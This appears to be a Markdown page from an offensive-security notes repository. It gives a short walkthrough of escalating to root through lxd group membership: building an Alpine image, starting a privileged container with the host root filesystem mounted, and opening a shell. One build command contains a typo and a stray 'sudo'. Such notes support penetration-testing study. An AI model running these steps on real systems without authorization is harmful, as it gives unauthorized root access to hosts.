killchain-compendium/misc/level3_hypervisor/lxc.md

33 lines
793 B
Markdown

# LXC
## Privilege Escalation
### Member of lxd Group
* [Hackingarticles article](https://www.hackingarticles.in/lxd-privilege-escalation/)
* User has to be in `lxd` group, not necessarily `sudo`.
#### Usage
* Clone and build
```sh
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builde && sudo && ./build alpine
```
* Upload to target
* Import alpine image
```sh
lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage
```
* Prepare image
```sh
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
```
* Host `/` is mounted at `/mnt/root` inside the container
* `root` directory is at `/mnt/root/root`